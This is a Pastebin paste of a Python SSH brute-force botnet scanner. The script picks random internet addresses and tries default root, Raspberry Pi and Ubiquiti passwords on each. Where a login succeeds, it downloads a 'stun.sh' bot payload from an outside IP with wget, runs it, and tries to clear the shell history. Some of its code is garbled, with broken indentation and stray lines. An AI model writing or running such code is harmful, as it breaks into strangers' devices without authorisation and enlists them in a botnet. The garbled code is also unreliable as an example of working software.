SHARE
TWEET

Untitled

a guest Dec 6th, 2016 71 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/env python
  2. #python AriesR.py 500 A 125 1
  3. #python AriesR.py 500 B 125.27 1
  4.  
  5. import threading, paramiko, random, socket, time, sys
  6.  
  7. blacklist = [
  8.     '127'
  9. ]
  10.  
  11. passwords = [
  12.     "root:root",
  13.     "root:admin",
  14.     "admin:admin",
  15.     "ubnt:ubnt"
  16.     "root:1234",
  17.     "admin:1234",
  18.     "guest:guest",
  19.     "user:user",
  20.     "test:test",
  21.     "pi:raspberry",
  22.     "vagrant:vagrant"
  23. ]
  24.  
  25. if sys.argv[4] == '1':
  26.     passwords = [ "root:root", "root:toor", "ubnt:ubnt", "admin:admin" ]
  27. if sys.argv[4] == '2':
  28.     passwords = [ "root:root" ]
  29. if sys.argv[4] == '3':
  30.     passwords = [ "root:synopass" ]
  31. if sys.argv[4] == 'perl':
  32.     passwords = [ "pi:raspberry", "vagrant:vagrant", "ubnt:ubnt" ]
  33. if sys.argv[4] == 'all':
  34.     passwords = [ "pi:raspberry", "vagrant:vagrant", "root:root", "root:admin", "admin:admin", "ubnt:ubnt", "root:1234", "admin:1234", "guest:guest", "user:user", "test:test" ] # scans all passwords but very slow
  35.  
  36. jackmeoff = random.choice(["To start scanning"])
  37. raw_input('Press <ENTER> '+jackmeoff)
  38.  
  39. ipclassinfo = sys.argv[2]
  40. if ipclassinfo == "A":
  41.     ip1 = sys.argv[3]
  42. elif ipclassinfo == "B":
  43.     ip1 = sys.argv[3].split(".")[0]
  44.     ip2 = sys.argv[3].split(".")[1]
  45. elif ipclassinfo == "C":
  46.     ips = sys.argv[3].split(".")
  47.     num=0
  48.     for ip in ips:
  49.         num=num+1
  50.         if num == 1:
  51.             ip1 = ip
  52.         elif num == 2:
  53.             ip2 = ip
  54.         elif num == 3:
  55.             ip3 = ip
  56. class sshscanner(threading.Thread):
  57.     global passwords
  58.     global ipclassinfo
  59.     if ipclassinfo == "A":
  60.         global ip1
  61.     elif ipclassinfo == "B":
  62.         global ip1
  63.         global ip2
  64.     elif ipclassinfo == "C":
  65.         global ip1
  66.         global ip2
  67.         global ip3
  68.     def run(self):
  69.         while 1:
  70.             try:
  71.                 while 1:
  72.                     thisipisbad='no'
  73.                     if ipclassinfo == "A":
  74.                         self.host = ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  75.                     elif ipclassinfo == "B":
  76.                         self.host = ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  77.                     elif ipclassinfo == "C":
  78.                         self.host = ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
  79.                     elif ipclassinfo == "BRAZIL":
  80.                         br = ["179.105","179.152","189.29","189.32","189.33","189.34","189.35","189.39","189.4","189.54","189.55","189.60","189.61","189.62","189.63","189.126"]
  81.                         self.host = random.choice(br)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  82.                     elif ipclassinfo == "SUPER":
  83.                         yeet = ["122","131","161","37","186","187","31","188","201","2","200"]
  84.                         self.host = random.choice(yeet)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  85.                     elif ipclassinfo == "LUCKY":
  86.                         lucky = ["125.24","125.25","125.26","125.27","125.28","113.53","101.51","101.108","118.175","118.173","182.52","180.180"]
  87.                         self.host = random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  88.                     elif ipclassinfo == "LUCKY2":
  89.                         lucky2 = [ "122.178","122.170","182.65","182.68","182.70","182.75","186.112","186.113","186.114","186.115","186.116","186.118" ]
  90.                         self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  91.                     elif ipclassinfo == "RAND":
  92.                         self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  93.                     elif ipclassinfo == "INTERNET":
  94.                         lol = ["1"]
  95.                         self.host = random.choice(lol)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  96.                     else:
  97.                         self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  98.                     for badip in blacklist:
  99.                         if badip in self.host:
  100.                             thisipisbad='yes'
  101.                     if thisipisbad=='no':
  102.                         break
  103.                 username='root'
  104.                 password=""
  105.                 port = 22
  106.         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  107.                 s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  108.                 s.settimeout(3)
  109.                 s.connect((self.host, port))
  110.                 s.close()
  111.                 ssh = paramiko.SSHClient()
  112.                 ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  113.                 dobreak=False
  114.                 for passwd in passwords:
  115.                     if ":n/a" in passwd:
  116.                         password=""
  117.                     else:
  118.                         password=passwd.split(":")[1]
  119.                     if "n/a:" in passwd:
  120.                         username=""
  121.                     else:
  122.                         username=passwd.split(":")[0]
  123.                     try:
  124.                         ssh.connect(self.host, port = port, username=username, password=password, timeout=3)
  125.                         dobreak=True
  126.                         break
  127.                     except:
  128.                         pass
  129.                     if True == dobreak:
  130.                         break
  131.                 badserver=True
  132.                 stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  133.                 output = stdout.read()
  134.                 if "inet addr" in output:
  135.                     badserver=False
  136.                 if badserver == False:
  137.                         print 'Found '+self.host+'|'+username+'|'+password+'|'+str(port)
  138.                         ssh.exec_command("cd /tmp || cd /var/run; rm -rf *; wget -q http://188.209.XXX.XXX/Bot/stun.sh; chmod +x stun.sh; sh stun.sh; histroy -c")
  139.             break
  140.             ssh.exec_command("cd /tmp || cd /var/run; sh stun.sh")
  141.             time.sleep(20)
  142.             ssh.close()
  143.             except:
  144.                 pass
  145.  
  146. for x in range(0,int(sys.argv[1])):
  147.     try:
  148.         t = sshscanner()
  149.         t.start()
  150.     except:
  151.         pass
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top